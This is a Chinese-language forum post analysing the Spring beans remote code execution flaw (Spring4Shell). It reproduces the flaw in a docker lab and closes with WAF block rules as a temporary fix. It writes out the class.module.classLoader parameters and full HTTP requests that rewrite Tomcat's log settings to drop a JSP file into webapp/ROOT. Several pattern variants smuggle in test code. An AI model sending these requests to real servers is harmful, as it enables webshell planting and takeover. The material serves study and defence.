標題:Spring beans RCE 漏洞分析

taibeihacker

Moderator

Spring beans RCE 漏洞分析​

1 影响范围​

JDK 9 及其以上版本
Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class

2 漏洞复现​

2.1 环境搭建​

本文使用的是spring-core-rce-2022-03-29 docker 鏡像,啟動鏡像:
1
docker run --name springRCE -p 8090:8080 -d vulfocus/spring-core-rce-2022-03-29

2.2 漏洞原理​

通過直接修改tomcat 的log 日誌配置,即可以向webapp/ROOT 下寫jsp 文件,達到命令執行的目的,與s2-020 的利用方式相似。
首先向目標發送如下數據包:
1
2
3
4
5
6
7
8
# 設置文件後綴為.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
# 設置文件前綴為shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
# 設置日誌文件的路徑為webapp/path,只有該文件下的jsp 文件會被解析,本文以ROOT 為例
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT
其次,再設置log 的pattern 和fileDateFormat,這裡的pattern 是有一定格式限制的,根據tomcat 官方對於Access Logging 的定義,該項值可以為: common 與combined,其中common 的具體定義如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%a - Remote IP address. See also %{xxx}a below.
%A - Local IP address
%b - Bytes sent, excluding HTTP headers, or '-' if zero
%B - Bytes sent, excluding HTTP headers
%h - Remote host name (or IP address if enableLookups for the connector is false)
%H - Request protocol
%l - Remote logical username from identd (always returns '-')
%m - Request method (GET, POST, etc.)
%p - Local port on which this request was received. See also %{xxx}p below.
%q - Query string (prepended with a '?' if it exists)
%r - First line of the request (method and request URI)
%s - HTTP status code of the response
%S - User session ID
%t - Date and time, in Common Log Format
%u - Remote user that was authenticated (if any), else '-' (escaped if required)
%U - Requested URL path
%v - Local server name
%D - Time taken to process the request in millis. Note: In httpd %D is microseconds. Behaviour will be aligned to httpd in Tomcat 10 onwards.
%T - Time taken to process the request, in seconds. Note: This value has millisecond resolution whereas in httpd it has second resolution. Behaviour will be align to httpd in Tomcat 10 onwards.
%F - Time taken to commit the response, in milliseconds
%I - Current request thread name (can compare later with stacktraces)
combined 的具體定義如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
%{xxx}a write remote address (client) (xxx==remote) or connection peer address (xxx=peer)
%{xxx}i write value of incoming header with name xxx (escaped if required)
%{xxx}o write value of outgoing header with name xxx (escaped if required)
%{xxx}c write value of cookie with name xxx (escaped if required)
%{xxx}r write value of ServletRequest attribute with name xxx (escaped if required)
%{xxx}s write value of HttpSession attribute with name xxx (escaped if required)
%{xxx}p write local (server) port (xxx==local) or remote (client) port (xxx=remote)
%{xxx}t write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx
本文的寫webshell 的方案即是選擇combined 相關格式字符。
由於寫入一句話webshell 時,需要一些特殊字符,如:%,而% 在日誌的配置中又具有特殊含義,直接在pattern 中寫入會報錯
202203302158889.png-water_print

總之,需要避開直接對於百分號的寫入,下文嘗試了有三種方式去定義pattern。

2.2.1 从 header 中读取​

由上文可知,%{xxx}c 項的作用是:從HTTP Cookie 中讀取xxx 項,並寫入到log 文件中。因此數據包定義為:
1
2
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Dc
最後的HTTP 請求為:
1
2
3
4
5
6
7
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Dc HTTP/1.1
Host: IP:PORT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0OTIxMzE4ODQyMTpmYzJiZTA2NWMyYzFlOGQwOTUzMWJkOGQxZmMzYmQ1Yg; cmd=%out.println(11223344);%
Connection: close
202203302146926.png-water_print

由於; 作為Cookie 的分隔符,因此寫入的內容會被截斷。 (不知哪位師傅有解決辦法,可以分享下):%out.println(11223344)

2.2.2 从 header 中读取​

由上文可知,%{xxx}i 項的作用是:從HTTP Header 中讀取xxx 項,並寫入到log 文件中。因此數據包定義為:
1
2
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di
最後的HTTP 請求為:
1
2
3
4
5
6
7
8
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di HTTP/1.1
Host: IP:PORT
cmd: %out.println('11223344');%
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0OTIxMzE4ODQyMTpmYzJiZTA2NWMyYzFlOGQwOTUzMWJkOGQxZmMzYmQ1Yg
Connection: close
202203302143461.png-water_print

202203302143705.png-water_print

2.2.3 直接配置 pattern​

上面兩種方式本人在測試時發現,' 引號會被轉義為\',存在一定缺陷。
此外,由上文可知,%{xxx}t 項的作用是:以simpleDateFormat 格式定義日誌中的timestamp,比如:可以看到% 可以正常輸出。
202203302156495.png-water_print

因此數據包定義為:%{%}t,這樣就可以向log 文件中寫入% 了。
1
2
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=3
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dtout.println(%22POC%20Test%22)%3B%25%7B%25%7Dt%3E
202203302203197.png-water_print

查看文件:
202203302202352.png-water_print

3 临时修复方案​

WAF 中對參數中出現的class.*, Class.*,*.class.*, *.Class.* 字符串的規則過濾
全局搜索@InitBinder 註解,判斷方法體內是否有dataBinder.setDisallowedFields 方法,
如果有使用則在原來的黑名單中添加:
 
返回
上方